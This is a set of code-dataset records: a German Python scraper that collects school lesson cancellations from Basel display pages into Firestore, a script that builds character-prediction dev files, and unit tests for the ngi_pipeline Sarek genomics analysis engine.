'https://display.edubs.ch/bfsb', 'https://display.edubs.ch/bfsc',\n 'https://display.edubs.ch/bfsd', 'https://display.edubs.ch/dr1', 'https://display.edubs.ch/fzg1',\n 'https://display.edubs.ch/fms1', 'https://display.edubs.ch/gm1', 'https://display.edubs.ch/gb1',\n 'https://display.edubs.ch/gkg1', 'https://display.edubs.ch/gl1', 'https://display.edubs.ch/ii1',\n 'https://display.edubs.ch/kh1', 'https://display.edubs.ch/bibliothek',\n 'https://display.edubs.ch/medialab1', 'https://display.edubs.ch/sb1', 'https://display.edubs.ch/dw1',\n 'https://display.edubs.ch/dli1', 'https://display.edubs.ch/hb1', 'https://display.edubs.ch/sleo',\n 'https://display.edubs.ch/sand1', 'https://display.edubs.ch/alb1', 'https://display.edubs.ch/tb',\n 'https://display.edubs.ch/vog1', 'https://display.edubs.ch/wr1', 'https://display.edubs.ch/joh1',\n 'https://display.edubs.ch/dli2', 'https://display.edubs.ch/ts1', 'https://display.edubs.ch/wg1',\n 'https://display.edubs.ch/zbag1', 'https://display.edubs.ch/zbal1')\nschulhauslinksTest = (\n 'https://display.edubs.ch/gm1',\n)\n\nfor haupturl in schulhauslinks: # TODO: Test entfernen\n\n a = \"1\"\n b = \"2\"\n# ======\n\n # Hier wird die Schule ausgelesen.\n session = HTMLSession()\n r = session.get(haupturl, headers=uarandom)\n schulehtml = r.html.find('body > div > h1', first=True)\n schule = schulehtml.text\n \n # Fromatiere schule fuer Target\n schuleTarget2 = re.sub('r\"|\\s|\"', '', schule)\n schuleTarget = re.sub('[äöü]', '', schuleTarget2)\n \n\n # ======\n anzahlausfaelle1 = r.html.text\n anzahlausfaelle1split = anzahlausfaelle1.split('\\n')\n del (anzahlausfaelle1split)[0:4]\n\n try:\n ersterausfalltaghtml = r.html.find('body > div > h3', first=True)\n ersterausfalltag = ersterausfalltaghtml.text\n ersterausfalltag1 = a + ersterausfalltag\n keinausfalltag = False\n\n except: # keine Stellvertretungen\n keinausfalltag = True\n ersterausfalltaghtml = r.html.find(\n 'body > div > div > div > strong')[0]\n ersterausfalltag = ersterausfalltaghtml.text\n ersterausfalltag1 = a + ersterausfalltag\n\n try:\n zweiteausfalltaghtml = r.html.find('body > div > h3')[1]\n zweiteausfalltag = zweiteausfalltaghtml.text\n zweiteausfalltag1 = b + zweiteausfalltag\n zweiterausfall = True\n\n except: # kein zweiter Tag\n zweiterausfall = False\n zweiteausfalltaghtml = r.html.find('body > div > h2')[1]\n zweiteausfalltag = zweiteausfalltaghtml.text\n zweiteausfalltag1 = b + zweiteausfalltag\n\n # ======\n # Gruppiert alle informationen in 3ergruppen = 1 ausfall ->\n # wenn zweiter ausfall true = zwei listen(zb. montag und dienstag) mit den jeweiligen ausfaellen\n alleAusfaelleUnsortiert = anzahlausfaelle1split\n if zweiterausfall:\n # splittet alle ausfaelle in 2 listen bei zweitem tag\n splitIndex = alleAusfaelleUnsortiert.index(zweiteausfalltag)\n ersterTagListe, zweiterTagListeDirty = alleAusfaelleUnsortiert[\n :splitIndex], alleAusfaelleUnsortiert[splitIndex+1:]\n\n # splittet zweiten tag bei anlaesse\n anlaesseSplit = zweiterTagListeDirty.index('Anlässe')\n zweiterTagListe = zweiterTagListeDirty[:anlaesseSplit]\n\n # in 3er gruppen sortieren\n N = 3\n alleAusfaelleListe1Tag = [ersterTagListe[n:n+N]\n for n in range(0, len(ersterTagListe), N)]\n\n alleAusfaelleListe2Tag = [zweiterTagListe[n:n+N]\n for n in range(0, len(zweiterTagListe), N)]\n else:\n N = 3\n alleAusfaelleListe1Tag = [alleAusfaelleUnsortiert[n:n+N]\n for n in range(0, len(alleAusfaelleUnsortiert), N)]\n# ======\n # Zaehlt ausfaelle des 1. Tags\n anzahlerstertag = 0\n for position in anzahlausfaelle1split:\n if position == zweiteausfalltag:\n break\n else:\n anzahlerstertag = anzahlerstertag + 1\n\n anzahlerstertagganz = anzahlerstertag + 5\n\n anzahlx = anzahlerstertag / 3\n\n if anzahlx < 1:\n anzahl1 = 0\n else:\n anzahl1 = anzahlx\n# ======\n # Zaehlt ausfaelle des 2. Tags\n if zweiterausfall:\n anzahlzweitertag = 0\n anzahlT2 = len(zweiterTagListe) / 3\n else:\n anzahlT2 = 0\n# ======\n # =========================================\n # ERSTER TAG\n # =========================================\n x = 0\n\n # Liest klasse aus HTML\n while x < anzahl1:\n try:\n # ----- INFOS -----# (benoetigt wird: Ausfall(alle Infos), Betroffene klassen, Tag des Ausfalls)\n\n # SCHULHAUS das bearbeitet wird\n # print(schule)\n\n # AUSFALL der bearbeitet wird (alle infos)\n \n auktellerAufall = alleAusfaelleListe1Tag[x]\n\n # TAG des Ausfalls\n # print(ersterausfalltag1)\n # print(zweiteausfalltag1)\n\n # klasse in html suchen\n klasse = r.html.find('body > div > div > div > strong')[x]\n klassetext = klasse.text\n\n # splittet den klassentext in einen array ( splittet bei komma und lehrzeichen )\n klassetextsplit = re.split(',| ', klassetext)\n\n klassentextlen = len(klassetextsplit)\n\n anz = 0 # setzt while loop unten zurueck\n # ====== # Liest verschindene Klassen aus und unterteilt sie in eine Liste\n while anz < klassentextlen:\n try:\n klass = klassetextsplit[anz]\n klasseSauber = klass.replace(':', '')\n \n\n klasslen = len(klasseSauber)\n klassenstufe = klass[0]\n\n if klassenstufe.isdigit():\n\n\n\n zeichen = 1 # setzt while loop unten zurueck\n# ====== # Liest zusammengesetzte Klassen aus. (Bsp. 1ac, 2BD, 3abc)\n while zeichen <= klasslen:\n\n try:\n # TODO: check if 2. oder 3. stelle ein Buchstabe und nicht eine Zahl ist\n # 2. oder 3. stelle nicht weiter!s\n if klasseSauber[zeichen].isalpha():\n klassExtracted = klassenstufe + \\\n klasseSauber[zeichen]\n # TODO: final goal is here bring here the ausfaelle!\n \n zeichen = zeichen + 1\n klassFinal = klassExtracted.upper()\n \n if klassetext == \"Keine Anlässe\":\n break\n if klassetext == \"Keine Stellvertretungen\":\n break\n else:\n if klassetext == \"Keine Neuigkeiten\":\n break\n else:\n num1 = x - 1 + zeichen\n num = str(num1)\n individualDoc = auktellerAufall[0] + \\\n ' - '+num\n \n \n # fuegt 'am' hinzu bei allen wochentagen\n if ersterausfalltag == 'Heute:':\n tag1 = 'Ausfall '+ersterausfalltag\n else:\n tag1 = 'Ausfall am '+ersterausfalltag\n try:\n db.collection(u'Nachrichten').document(u'Schulen').collection(\n schuleTarget2).document(individualDoc).set({\n\n u'tag': tag1,\n u'target': schuleTarget+'-'+klassFinal,\n u'klasse': auktellerAufall[0],\n u'grund': auktellerAufall[1],\n u'raum': auktellerAufall[2],\n\n\n })\n except:\n e = sys.exc_info()[0]\n\n \n else:\n break\n\n except:\n break\n anz = anz + 1\n else:\n \n anz = anz + 1\n\n except:\n\n break\n x = x + 1\n except:\n break\n# ======\n # =========================================\n # ZWEITER TAG\n # =========================================\n y = 0\n\n # Liest klasse aus HTML\n\n while y < anzahlT2:\n try:\n # ----- INFOS -----# (benoetigt wird: Ausfall(alle Infos), Betroffene klassen, Tag des Ausfalls)\n\n # SCHULHAUS das bearbeitet wird\n # print(schule)\n\n # AUSFALL der bearbeitet wird (alle infos)\n \n auktellerAufall = alleAusfaelleListe2Tag[y]\n\n # TAG des Ausfalls\n # print(ersterausfalltag1)\n # print(zweiteausfalltag1)\n\n # klasse in html suchen\n klasse = r.html.find('body > div > div > div > strong')[x+y]\n klassetext = klasse.text\n\n # splittet den klassentext in einen array ( splittet bei komma und lehrzeichen )\n klassetextsplit = re.split(',| ', klassetext)\n\n klassentextlen = len(klassetextsplit)\n\n anz = 0 # setzt while loop unten zurueck\n# ====== # Liest verschindene Klassen aus und unterteilt sie in eine Liste\n while anz < klassentextlen:\n try:\n klass = klassetextsplit[anz]\n klasseSauber = klass.replace(':', '')\n \n\n klasslen = len(klasseSauber)\n klassenstufe = klass[0]\n\n if klassenstufe.isdigit():\n\n \n\n zeichen = 1 # setzt while loop unten zurueck\n# ====== # Liest zusammengesetzte Klassen aus. (Bsp. 1ac, 2BD, 3abc)\n while zeichen <= klasslen:\n\n try:\n\n if klasseSauber[zeichen].isalpha():\n klassExtracted = klassenstufe + \\\n klasseSauber[zeichen]\n\n \n zeichen = zeichen + 1\n klassFinal = klassExtracted.upper()\n \n\n if klassetext == \"Keine Anlässe\":\n break\n if klassetext == \"Keine Stellvertretungen\":\n break\n else:\n if klassetext == \"Keine Neuigkeiten\":\n break\n else:\n num1 = x + y - 1 + zeichen\n num = str(num1)\n individualDoc = auktellerAufall[0] + \\\n ' - '+num\n # TODO:\n \n # fuegt 'am' hinzu bei allen wochentagen\n if zweiteausfalltag == 'Morgen:':\n tag2 = 'Ausfall '+zweiteausfalltag\n else:\n tag2 = 'Ausfall am '+zweiteausfalltag\n try:\n db.collection(u'Nachrichten').document(u'Schulen').collection(\n schuleTarget2).document(individualDoc).set({\n u'tag': tag2,\n u'target': schuleTarget+'-'+klassFinal,\n u'klasse': auktellerAufall[0],\n u'grund': auktellerAufall[1],\n u'raum': auktellerAufall[2],\n\n\n })\n \n except:\n e = sys.exc_info()[0]\n\n \n else:\n break\n except:\n break\n anz = anz + 1\n else:\n \n anz = anz + 1\n\n except:\n\n break\n y = y + 1\n except:\n break", "sub_path": "nachrichtenServer.py", "file_name": "nachrichtenServer.py", "file_ext": "py", "file_size_in_byte": 14397, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "firebase_admin.credentials.Certificate", "line_number": 11, "usage_type": "call"}, {"api_name": "firebase_admin.credentials", "line_number": 11, "usage_type": "name"}, {"api_name": "firebase_admin.initialize_app", "line_number": 12, "usage_type": "call"}, {"api_name": "firebase_admin.firestore.client", "line_number": 13, "usage_type": "call"}, {"api_name": "firebase_admin.firestore", "line_number": 13, "usage_type": "name"}, {"api_name": "fake_useragent.UserAgent", "line_number": 15, "usage_type": "call"}, {"api_name": "requests_html.HTMLSession", "line_number": 39, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 45, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 46, "usage_type": "call"}, {"api_name": "re.split", "line_number": 155, "usage_type": "call"}, {"api_name": "sys.exc_info", "line_number": 221, "usage_type": "call"}, {"api_name": "re.split", "line_number": 268, "usage_type": "call"}, {"api_name": "sys.exc_info", "line_number": 334, "usage_type": "call"}]} {"seq_id": "389032843", "text": "#!/usr/bin/env python\nimport os\nimport string\nimport random\nfrom argparse import ArgumentParser, ArgumentDefaultsHelpFormatter\nimport glob\n\nimport numpy as np\n\n\ndef iterate_lines_over_file(filename):\n with open(filename) as file:\n print(filename)\n for line in file:\n line = line.strip()\n if len(line) < 2:\n continue\n yield line\n\n\ndef iterate_lines(root):\n filenames = [root]\n if os.path.isdir(root):\n filenames = glob.glob(os.path.join(root, '**/*'), recursive=True)\n\n for filename in filenames:\n for val in iterate_lines_over_file(filename):\n yield val\n\n\nif __name__ == '__main__':\n parser = ArgumentParser(formatter_class=ArgumentDefaultsHelpFormatter)\n parser.add_argument('dev_dir')\n parser.add_argument('out_dir')\n parser.add_argument('--num', default=-1, type=int)\n\n args = parser.parse_args()\n random.seed(0)\n\n count = sum(1 for _ in iterate_lines(args.dev_dir))\n allowed = None\n if args.num > 0 and args.num < count:\n allowed = set(np.random.choice(count, args.num, replace=False))\n\n with open(os.path.join(args.out_dir, 'input.txt'), 'w+') as input_file, \\\n open(os.path.join(args.out_dir, 'answer.txt'), 'w+') as ans_file:\n for i, line in enumerate(iterate_lines(args.dev_dir)):\n if allowed is not None and i not in allowed:\n continue\n keep = random.randint(2, len(line))\n line = line[:keep]\n input_file.write(line[:-1] + '\\n')\n ans_file.write(line[-1] + '\\n')\n", "sub_path": "src/generate_dev.py", "file_name": "generate_dev.py", "file_ext": "py", "file_size_in_byte": 1595, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "os.path.isdir", "line_number": 23, "usage_type": "call"}, {"api_name": "os.path", "line_number": 23, "usage_type": "attribute"}, {"api_name": "glob.glob", "line_number": 24, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 24, "usage_type": "call"}, {"api_name": "os.path", "line_number": 24, "usage_type": "attribute"}, {"api_name": "argparse.ArgumentParser", "line_number": 32, "usage_type": "call"}, {"api_name": "argparse.ArgumentDefaultsHelpFormatter", "line_number": 32, "usage_type": "name"}, {"api_name": "random.seed", "line_number": 38, "usage_type": "call"}, {"api_name": "numpy.random.choice", "line_number": 43, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 43, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 45, "usage_type": "call"}, {"api_name": "os.path", "line_number": 45, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 46, "usage_type": "call"}, {"api_name": "os.path", "line_number": 46, "usage_type": "attribute"}, {"api_name": "random.randint", "line_number": 50, "usage_type": "call"}]} {"seq_id": "330138924", "text": "import mock\nimport os\nimport shutil\nimport tempfile\nimport unittest\n\nfrom ngi_pipeline.engines.sarek.database import CharonConnector\nfrom ngi_pipeline.engines.sarek.exceptions import BestPracticeAnalysisNotRecognized, SampleNotValidForAnalysisError\nfrom ngi_pipeline.engines.sarek.models.sample import SarekAnalysisSample\nfrom ngi_pipeline.engines.sarek.models.sarek import SarekAnalysis, SarekGermlineAnalysis\nfrom ngi_pipeline.engines.sarek.parsers import ParserIntegrator\nfrom ngi_pipeline.log.loggers import minimal_logger\nfrom ngi_pipeline.tests.engines.sarek.test_launchers import TestLaunchers\n\n\n@mock.patch(\"ngi_pipeline.engines.sarek.models.sarek.ReferenceGenome\", autospec=True)\n@mock.patch(\"ngi_pipeline.engines.sarek.database.CharonConnector\", autospec=True)\nclass TestSarekAnalysis(unittest.TestCase):\n\n CONFIG = {}\n\n def setUp(self):\n self.log = minimal_logger(__name__, to_file=False, debug=True)\n self.config = TestSarekAnalysis.CONFIG\n self.analysis_obj = TestLaunchers.get_NGIAnalysis(log=self.log)\n\n def test_get_analysis_instance_for_project_germline(self, charon_connector_mock, reference_genome_mock):\n reference_genome_mock.get_instance.return_value = \"this-is-a-reference-genome\"\n charon_connector = charon_connector_mock.return_value\n charon_connector.best_practice_analysis.return_value = \"something_germline_something\"\n expected_analysis_class = SarekGermlineAnalysis\n observed_analysis_instance = SarekAnalysis.get_analysis_instance_for_project(\n \"this-is-a-project-id\",\n self.config,\n self.log,\n charon_connector=charon_connector)\n self.assertIsInstance(observed_analysis_instance, expected_analysis_class)\n\n def test_get_analysis_instance_for_project_somatic(self, charon_connector_mock, reference_genome_mock):\n reference_genome_mock.get_instance.return_value = \"this-is-a-reference-genome\"\n charon_connector = charon_connector_mock.return_value\n charon_connector.best_practice_analysis.return_value = \"something_somatic_something\"\n with self.assertRaises(NotImplementedError):\n SarekAnalysis.get_analysis_instance_for_project(\n \"this-is-a-project-id\",\n self.config,\n self.log,\n charon_connector=charon_connector)\n\n def test_get_analysis_instance_for_project_unknown(self, charon_connector_mock, reference_genome_mock):\n reference_genome_mock.get_instance.return_value = \"this-is-a-reference-genome\"\n charon_connector = charon_connector_mock.return_value\n charon_connector.best_practice_analysis.return_value = \"something_unknown_something\"\n with self.assertRaises(BestPracticeAnalysisNotRecognized):\n SarekAnalysis.get_analysis_instance_for_project(\n \"this-is-a-project-id\",\n self.config,\n self.log,\n charon_connector=charon_connector)\n\n def test_status_should_be_started(self, charon_connector_mock, reference_genome_mock):\n\n def _analysis_status_wrapper(status, *args):\n return CharonConnector(\n self.config, self.log, charon_session=\"charon-session\").analysis_status_from_process_status(status)\n\n def _alignment_status_wrapper(status, *args):\n return CharonConnector(\n self.config, self.log, charon_session=\"charon-session\").alignment_status_from_analysis_status(status)\n\n charon_connector = charon_connector_mock.return_value\n charon_connector.analysis_status_from_process_status.side_effect = _analysis_status_wrapper\n charon_connector.alignment_status_from_analysis_status.side_effect = _alignment_status_wrapper\n sarek_analysis = SarekAnalysis(\n reference_genome_mock.return_value, self.config, self.log, charon_connector=charon_connector)\n\n for restart_mode in True, False:\n self.assertEqual(\n restart_mode,\n sarek_analysis.status_should_be_started(\n \"FAILED\",\n restart_failed_jobs=restart_mode))\n\n for restart_mode in True, False:\n self.assertEqual(\n restart_mode,\n sarek_analysis.status_should_be_started(\n \"ANALYZED\",\n restart_finished_jobs=restart_mode))\n\n for restart_mode in True, False:\n self.assertEqual(\n restart_mode,\n sarek_analysis.status_should_be_started(\n \"UNDER_ANALYSIS\",\n restart_running_jobs=restart_mode))\n\n self.assertTrue(\n sarek_analysis.status_should_be_started(\"TO_BE_ANALYZED\"))\n\n def test_configure_analysis(self, charon_connector_mock, reference_genome_mock):\n config = {\n \"profile\": \"this-is-a-profile\",\n \"tools\": [\"tool-A\", \"tool-B\"]}\n\n sarek_analysis = SarekAnalysis(\n reference_genome_mock.return_value,\n {\"sarek\": config},\n self.log,\n charon_connector=charon_connector_mock.return_value)\n\n for key in config.keys():\n self.assertEqual(config[key], sarek_analysis.sarek_config[key])\n self.assertEqual(SarekAnalysis.DEFAULT_CONFIG[\"nf_path\"], sarek_analysis.sarek_config[\"nf_path\"])\n self.assertEqual(SarekAnalysis.DEFAULT_CONFIG[\"sarek_path\"], sarek_analysis.sarek_config[\"sarek_path\"])\n\n config = {\n \"config\": \"this-is-a-site-specific-config-file\",\n \"profile\": \"this-is-another-profile\",\n \"nf_path\": \"this-is-the-path-to-nextflow\",\n \"sarek_path\": \"this-is-the-path-to-sarek\"}\n sarek_config = sarek_analysis.configure_analysis(config={\"sarek\": config})\n for key in config.keys():\n self.assertEqual(config[key], sarek_config[key])\n self.assertEqual(SarekAnalysis.DEFAULT_CONFIG[\"tools\"], sarek_config[\"tools\"])\n\n def test_command_line(self, charon_connector_mock, reference_genome_mock):\n\n sarek_analysis = SarekAnalysis(\n reference_genome_mock.return_value,\n self.config,\n self.log,\n charon_connector=charon_connector_mock.return_value)\n\n with self.assertRaises(NotImplementedError):\n sarek_analysis.command_line(None)\n\n def test_generate_tsv_file_contents(self, charon_connector_mock, reference_genome_mock):\n\n sarek_analysis = SarekAnalysis(\n reference_genome_mock.return_value,\n self.config,\n self.log,\n charon_connector=charon_connector_mock.return_value)\n\n with self.assertRaises(NotImplementedError):\n sarek_analysis.generate_tsv_file_contents(None)\n\n def test_create_tsv_file(self, charon_connector_mock, reference_genome_mock):\n sarek_analysis = SarekAnalysis(\n reference_genome_mock.return_value,\n self.config,\n self.log,\n charon_connector=charon_connector_mock.return_value)\n sample_obj = self.analysis_obj.project.samples.values()[0]\n analysis_sample = SarekAnalysisSample(self.analysis_obj.project, sample_obj, sarek_analysis)\n with mock.patch.object(sarek_analysis, \"generate_tsv_file_contents\") as tsv_mock, \\\n mock.patch.object(analysis_sample, \"sample_analysis_tsv_file\") as tsv_path_mock:\n tsv_mock.return_value = []\n with self.assertRaises(SampleNotValidForAnalysisError) as e:\n sarek_analysis.create_tsv_file(analysis_sample)\n tsv_mock.return_value = [[\"this\", \"is\"], [\"some\", \"content\"]]\n tempdir = tempfile.mkdtemp(prefix=\"test_create_tsv_file_\")\n tsv_path_mock.return_value = os.path.join(tempdir, \"tsv_parent_folder\", \"tsv_file.tsv\")\n sarek_analysis.create_tsv_file(analysis_sample)\n self.assertTrue(os.path.exists(tsv_path_mock.return_value))\n shutil.rmtree(tempdir)\n\n\n@mock.patch(\"ngi_pipeline.engines.sarek.models.resources.ReferenceGenome\", autospec=True)\n@mock.patch(\"ngi_pipeline.engines.sarek.database.CharonConnector\", autospec=True)\n@mock.patch(\"ngi_pipeline.engines.sarek.database.TrackingConnector\", autospec=True)\n@mock.patch(\"ngi_pipeline.engines.sarek.process.ProcessConnector\", autospec=True)\nclass TestSarekGermlineAnalysis(unittest.TestCase):\n\n CONFIG = {\n \"profile\": \"this-is-a-profile\",\n \"tools\": [\"haplotypecaller\", \"manta\"],\n \"nf_path\": os.path.join(\"/this\", \"is\", \"the\", \"nextflow\", \"path\"),\n \"sarek_path\": os.path.join(\"/this\", \"is\", \"the\", \"path\", \"to\", \"sarek\"),\n \"genome\": \"this-is-the-genome\"}\n\n def setUp(self):\n self.log = minimal_logger(__name__, to_file=False, debug=True)\n self.config = TestSarekGermlineAnalysis.CONFIG\n self.analysis_obj = TestLaunchers.get_NGIAnalysis(log=self.log)\n\n def get_instance(\n self, process_connector_mock, tracking_connector_mock, charon_connector_mock, reference_genome_mock):\n reference_genome = reference_genome_mock.return_value\n reference_genome.__str__.return_value = self.config[\"genome\"]\n return SarekGermlineAnalysis(\n reference_genome,\n {\"sarek\": self.config},\n self.log,\n charon_connector=charon_connector_mock,\n tracking_connector=tracking_connector_mock,\n process_connector=process_connector_mock)\n\n def test_cleanup(self, *mocks):\n sarek_analysis = self.get_instance(*mocks)\n with mock.patch(\"ngi_pipeline.engines.sarek.models.sample.SarekAnalysisSample\", autospec=True) as sample_mock:\n expected_work_dir = \"path/to/work/dir\"\n sample_mock.sample_analysis_work_dir.return_value = expected_work_dir\n sarek_analysis.cleanup(sample_mock)\n sarek_analysis.process_connector.cleanup.assert_called_once_with(expected_work_dir)\n\n def test_command_line(\n self, process_connector_mock, tracking_connector_mock, charon_connector_mock, reference_genome_mock):\n sarek_analysis = self.get_instance(\n process_connector_mock, tracking_connector_mock, charon_connector_mock, reference_genome_mock)\n sample_obj = self.analysis_obj.project.samples.values()[0]\n analysis_sample = SarekAnalysisSample(self.analysis_obj.project, sample_obj, sarek_analysis)\n self.config[\"outDir\"] = analysis_sample.sample_analysis_path()\n self.config[\"sample\"] = analysis_sample.sample_analysis_tsv_file()\n observed_cmd = sarek_analysis.command_line(analysis_sample)\n\n self.assertIn(\"-profile {}\".format(self.config[\"profile\"]), observed_cmd)\n self.assertIn(\"--tools {}\".format(\",\".join(self.config[\"tools\"])), observed_cmd)\n self.assertTrue(observed_cmd.startswith(\"{} run {}\".format(self.config[\"nf_path\"], self.config[\"sarek_path\"])))\n for key in filter(lambda k: k not in [\"profile\", \"nf_path\", \"sarek_path\", \"tools\"], self.config.keys()):\n self.assertIn(\"--{} {}\".format(key, self.config[key]), observed_cmd)\n\n def test_generate_tsv_file_contents(\n self, process_connector_mock, tracking_connector_mock, charon_connector_mock, reference_genome_mock):\n sarek_analysis = self.get_instance(\n process_connector_mock, tracking_connector_mock, charon_connector_mock, reference_genome_mock)\n sample_obj = self.analysis_obj.project.samples.values()[0]\n analysis_sample = SarekAnalysisSample(self.analysis_obj.project, sample_obj, sarek_analysis)\n sample_data_path = analysis_sample.sample_data_path()\n with mock.patch.object(\n sarek_analysis, \"libprep_should_be_started\") as libprep_mock, \\\n mock.patch.object(\n sarek_analysis, \"seqrun_should_be_started\") as seqrun_mock:\n for start_mode in True, False:\n libprep_mock.return_value = start_mode\n seqrun_mock.return_value = not start_mode\n self.assertListEqual(\n [],\n sarek_analysis.generate_tsv_file_contents(analysis_sample))\n libprep_mock.return_value = True\n seqrun_mock.return_value = True\n expected_tsv = []\n for libprepid in map(lambda lp: '{}-{}'.format(sample_obj.name, lp), ['libprep1', 'libprep2']):\n for sample_index in ['1', '2']:\n tsv_row = [sample_obj.name, 'ZZ', 0, sample_obj.name, 'ABC00{0}CXY.1.S{0}'.format(sample_index)]\n tsv_row.extend([\n os.path.join(\n sample_data_path,\n libprepid,\n '180411_ST-0123_001{0}_AABC00{0}CXY'.format(sample_index),\n '{}_S{}_L001_R{}_001.fastq.gz'.format(\n libprepid, sample_index, read_num)) for read_num in ['1', '2']])\n expected_tsv.append(tsv_row)\n observed_tsv = sarek_analysis.generate_tsv_file_contents(analysis_sample)\n self.assertListEqual(sorted(expected_tsv), sorted(observed_tsv))\n\n def test_analyze_sample(\n self, process_connector_mock, tracking_connector_mock, charon_connector_mock, reference_genome_mock):\n sarek_analysis = self.get_instance(\n process_connector_mock, tracking_connector_mock, charon_connector_mock, reference_genome_mock)\n with mock.patch.object(\n sarek_analysis, \"create_tsv_file\", return_value=os.path.join(\"/path\", \"to\", \"tsv\", \"file\")) as tsv_mock:\n for sample_obj in self.analysis_obj.project:\n sarek_analysis.analyze_sample(sample_obj, self.analysis_obj)\n\n def test_runid_and_fastq_files_from_tsv_file(self, *args):\n fh, fake_tsv_file = tempfile.mkstemp(prefix=\"test_fastq_files_from_tsv_\")\n with mock.patch(\"ngi_pipeline.engines.sarek.models.sarek.csv.reader\", autospec=True) as csv_mock:\n expected_fastq_files = []\n for row in range(3):\n expected_fastq_files.append(\n [\"id.for.row.{}\".format(row)] + [\n os.path.join(\"/path\", \"to\", \"fastq\", \"file_{}-R{}.fastq.gz\".format(row, i)) for i in [1, 2]])\n for row in range(2):\n expected_fastq_files.append(\n [\"id.for.row.{}\".format(row+3)] +\n [os.path.join(\"/path\", \"to\", \"fastq\", \"file_{}-R1.fastq.gz\".format(row))])\n mocked_tsv_data = (\n [\"col1\", \"col2\", \"col3\", \"col4\"] +\n runid_and_fastq_files for runid_and_fastq_files in expected_fastq_files)\n csv_mock.return_value = mocked_tsv_data\n observed_fastq_files = list(SarekGermlineAnalysis.runid_and_fastq_files_from_tsv_file(fake_tsv_file))\n self.assertListEqual(sorted(expected_fastq_files), sorted(observed_fastq_files))\n os.unlink(fake_tsv_file)\n\n def test_collect_analysis_metrics(\n self, process_connector_mock, tracking_connector_mock, charon_connector_mock, reference_genome_mock):\n sarek_analysis = self.get_instance(\n process_connector_mock, tracking_connector_mock, charon_connector_mock, reference_genome_mock)\n expected_metrics = {\n \"percent_duplication\": [25.3],\n \"autosomal_coverage\": [35.8],\n \"total_reads\": [123456789]\n }\n\n def _serve_metric(metric):\n return expected_metrics[metric[4:]]\n\n with mock.patch.object(\n sarek_analysis, \"processing_steps\") as processing_steps, \\\n mock.patch(\n \"ngi_pipeline.engines.sarek.models.sarek.ParserIntegrator\", autospec=ParserIntegrator) as \\\n parser_mock:\n processing_steps.return_value = []\n parser_instance = parser_mock.return_value\n query_mock = parser_instance.query_parsers\n query_mock.side_effect = _serve_metric\n observed_metrics = sarek_analysis.collect_analysis_metrics(\"this-is-a-sample-analysis\")\n self.assertDictEqual({metric: value[0] for metric, value in expected_metrics.items()}, observed_metrics)\n", "sub_path": "ngi_pipeline/tests/engines/sarek/models/test_sarek.py", "file_name": "test_sarek.py", "file_ext": "py", "file_size_in_byte": 16266, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "unittest.TestCase", "line_number": 18, "usage_type": "attribute"}, {"api_name": "ngi_pipeline.log.loggers.minimal_logger", "line_number": 23, "usage_type": "call"}, {"api_name": "ngi_pipeline.tests.engines.sarek.test_launchers.TestLaunchers.get_NGIAnalysis", "line_number": 25, "usage_type": "call"}, {"api_name": "ngi_pipeline.tests.engines.sarek.test_launchers.TestLaunchers", "line_number": 25, "usage_type": "name"}, {"api_name": "ngi_pipeline.engines.sarek.models.sarek.SarekGermlineAnalysis", "line_number": 31, "usage_type": "name"}, {"api_name": "ngi_pipeline.engines.sarek.models.sarek.SarekAnalysis.get_analysis_instance_for_project", "line_number": 32, "usage_type": "call"}, {"api_name": "ngi_pipeline.engines.sarek.models.sarek.SarekAnalysis", "line_number": 32, "usage_type": "name"}, {"api_name": "ngi_pipeline.engines.sarek.models.sarek.SarekAnalysis.get_analysis_instance_for_project", "line_number": 44, "usage_type": "call"}, {"api_name": "ngi_pipeline.engines.sarek.models.sarek.SarekAnalysis", "line_number": 44, "usage_type": "name"}, {"api_name": "ngi_pipeline.engines.sarek.exceptions.BestPracticeAnalysisNotRecognized", "line_number": 54, "usage_type": "argument"}, {"api_name": "ngi_pipeline.engines.sarek.models.sarek.SarekAnalysis.get_analysis_instance_for_project", "line_number": 55, "usage_type": "call"}, {"api_name": "ngi_pipeline.engines.sarek.models.sarek.SarekAnalysis", "line_number": 55, "usage_type": "name"}, {"api_name": "ngi_pipeline.engines.sarek.database.CharonConnector", "line_number": 64, "usage_type": "call"}, {"api_name": "ngi_pipeline.engines.sarek.database.CharonConnector", "line_number": 68, "usage_type": "call"}, {"api_name": "ngi_pipeline.engines.sarek.models.sarek.SarekAnalysis", "line_number": 74, "usage_type": "call"}, {"api_name": "ngi_pipeline.engines.sarek.models.sarek.SarekAnalysis", "line_number": 106, "usage_type": "call"}, {"api_name": "ngi_pipeline.engines.sarek.models.sarek.SarekAnalysis.DEFAULT_CONFIG", "line_number": 114, "usage_type": "attribute"}, {"api_name": "ngi_pipeline.engines.sarek.models.sarek.SarekAnalysis", "line_number": 114, "usage_type": "name"}, {"api_name": "ngi_pipeline.engines.sarek.models.sarek.SarekAnalysis.DEFAULT_CONFIG", "line_number": 115, "usage_type": "attribute"}, {"api_name": "ngi_pipeline.engines.sarek.models.sarek.SarekAnalysis", "line_number": 115, "usage_type": "name"}, {"api_name": "ngi_pipeline.engines.sarek.models.sarek.SarekAnalysis.DEFAULT_CONFIG", "line_number": 125, "usage_type": "attribute"}, {"api_name": "ngi_pipeline.engines.sarek.models.sarek.SarekAnalysis", "line_number": 125, "usage_type": "name"}, {"api_name": "ngi_pipeline.engines.sarek.models.sarek.SarekAnalysis", "line_number": 129, "usage_type": "call"}, {"api_name": "ngi_pipeline.engines.sarek.models.sarek.SarekAnalysis", "line_number": 140, "usage_type": "call"}, {"api_name": "ngi_pipeline.engines.sarek.models.sarek.SarekAnalysis", "line_number": 150, "usage_type": "call"}, {"api_name": "ngi_pipeline.engines.sarek.models.sample.SarekAnalysisSample", "line_number": 156, "usage_type": "call"}, {"api_name": "mock.patch.object", "line_number": 157, "usage_type": "call"}, {"api_name": "mock.patch", "line_number": 157, "usage_type": "attribute"}, {"api_name": "mock.patch.object", "line_number": 158, "usage_type": "call"}, {"api_name": "mock.patch", "line_number": 158, "usage_type": "attribute"}, {"api_name": 